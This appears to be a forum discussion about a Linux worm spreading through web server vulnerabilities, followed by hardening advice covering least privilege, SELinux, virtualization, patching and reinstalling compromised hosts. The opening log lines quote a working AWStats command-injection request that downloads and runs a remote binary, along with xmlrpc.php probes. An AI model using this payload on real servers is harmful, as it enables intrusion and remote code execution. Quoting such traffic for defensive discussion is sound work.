A Linux worm on the loose?

"GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"
"GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"
"POST /xmlrpc.php HTTP/1.1"
"POST /blog/xmlrpc.php HTTP/1.1"
"POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1"
"POST /phpgroupware/xmlrpc.php HTTP/1.1"
"POST /wordpress/xmlrpc.php HTTP/1.1"
"POST /blog/xmlsrv/xmlrpc.php HTTP/1.1"
"POST /drupal/xmlrpc.php HTTP/1.1"
"POST /xmlrpc.php HTTP/1.1"

I love how the Windows-side people are hooting about this worm. "They can be brought low! They're just like the rest of us!" But linux systems can be secured with a little knowledge and a little secure thinking. No product to buy, nobody to trust.

A) Don't run more than you need to do the job - apart from having benefits to system load, this limits the number of components you have to check for vulnerabilities. This isn't an Apache problem, it's an Apache module problem. Only add to Apache what you need to serve what you're serving.

B) Don't expose more than you need to expose to do the job - anything you expose can be vulnerable, as no software is perfect.

C) Lock down what you expose - "least privilege" principle. Anything that must be done as root is worth the inconvenience of local execution. Never expose setuid-root binaries unless you're stuck with Hobson's choice. In any event, sandbox what you expose to limit the potential damage. chroot() without privilege limitation is still vulnerable.

Maybe that's simplistic of me, and I have left out what a lot of work that can become. I have to agree that SE Linux is a bit heavy, but if you're willing to deal with that much extra config, it definitely can help with B and C. Ben Franklin equated security and freedom as inversely proportional, and in this event his statement can be usefully inverted. The user who is willing to give up essential security for temporary liberty deserves neither security nor liberty.

How is that so much better then running a dedicated box for webhosting?

Xen and such is nice because you can acheive the same effect as hosting in a dedicated box on a box that can do lots of different things.

You see Xen and virtualization doesn't realy improve security, it just makes it easier to reduce the effect of having your security comprimised. And still with a machine rooted in your network, even if it's running in a virtual box, it's going to make it just that much easier for the attacker to take over any other boxes on that network.

Now on the other hand if you were running SELinux it would of just stopped it from doing anything, including taking over your Xen host.

Now of course the smartest thing would of been just to stay the hell away from PHP. This isn't the first worm out there in the wild exploiting vunerabilities in PHP, and it won't be the last. If your going to use it then at least keep it up to date religiously.

In fact it's kinda irritating. Linux had it's only viruses and only worm problems previously back when we had Redhat doing insane stuff like enabling all services in Redhat 6-7.x by default. Since then there hasn't been any problems like this even with vastly increased popularity in Linux/Redhat stuff.

Hell even Microsoft figured this crap out!

So if they, and most everybody else, has learned their lessons.. then why are people still running around with unpatched web-facing servers? Anybody running a webserver in a unpatched state realy realy needs to be hit by a big-ol' clue stick.

The term 'Complete Morons' come to mind as well as numerious other phrases best left unsaid. It's just making life harder for everybody else.

Oh, and if your server has been rooted. Format and reinstall. That's the only solution. Otherwise your going to be running a comprimised server and there isn't anything you can do about it.